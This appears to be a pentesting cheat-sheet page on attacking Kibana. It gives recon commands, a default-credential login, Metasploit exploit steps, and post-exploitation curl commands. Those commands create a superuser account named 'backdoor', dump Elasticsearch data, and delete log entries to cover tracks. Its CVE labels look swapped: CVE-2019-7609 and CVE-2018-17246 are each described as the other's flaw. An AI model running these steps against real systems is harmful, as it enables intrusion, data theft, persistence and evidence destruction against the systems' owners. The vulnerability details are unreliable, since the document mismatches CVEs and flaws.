Skip to main content

Kibana

Default Port: 5601

Kibana is an open-source data visualization and exploration tool used for log and time-series analytics. It provides powerful and beautiful dashboards for real-time visualization of data in Elasticsearch.

Connect​

Accessing Kibana​

To interact with Kibana, you will typically use a web browser to connect to its web interface. The default port for Kibana is 5601.

http://<target-ip>:5601

Recon​

Detecting Kibana Service​

Nmap can be used to detect whether the Kibana service is running on a target machine.

nmap -p5601 <target-ip>

Additionally, you can use a service detection script for more detailed information.

nmap --script http-kibana-detect -p 5601 <target-ip>

Enumeration​

Enumerating Kibana Version​

Knowing the version of Kibana running on the target can help identify known vulnerabilities specific to that version. You can usually find the version information on the login page or the about page.

Attack Vectors​

Default Credentials​

Often, Kibana installations may have default credentials that haven’t been changed. Attempt to log in using:

  • Username: elastic
  • Password: changeme
curl -XPOST -u elastic:changeme http://<target-ip>:5601/api/security/v1/login

Kibana File Read Vulnerability (CVE-2019-7609)​

This exploit allows an attacker to read arbitrary files on the Kibana server. Metasploit has a module for this exploit:

msfconsole
use exploit/linux/http/kibana_lfr
set RHOST <target-ip>
set RPORT 5601
exploit

Remote Code Execution via Kibana Timelion (CVE-2018-17246)​

This utilized a vulnerability in the Timelion feature to achieve RCE.

msfconsole
use exploit/multi/http/kibana_timelion_rce
set RHOST <target-ip>
set RPORT 5601
exploit

Post-Exploitation​

Maintaing Access​

Create an administrative backdoor account if you have gathered credentials or achieved code execution.

curl -XPOST -u <privileged-user>:<password> http://<target-ip>:5601/api/security/v1/users -H 'Content-Type: application/json' -d '{
  "username" : "backdoor",
  "password" : "password",
  "roles" : [ "superuser" ]
}'

Dumping Data​

Based on what Elasticsearch is logging, you can extract a lot from Kibana.

curl -XGET 'http://<target-ip>:9200/_cat/indices?v&pretty'
curl -XGET 'http://<target-ip>:9200/<index>/_search?pretty'

Cleaning Logs​

If you have write permissions, you can manipulate or delete logs to cover your tracks.

curl -X POST "http://<target-ip>:9200/<index>/_delete_by_query" -H 'Content-Type: application/json' -d'
{
  "query": {
    "match": {
      "message": "suspicious activity message"
    }
  }
}'
``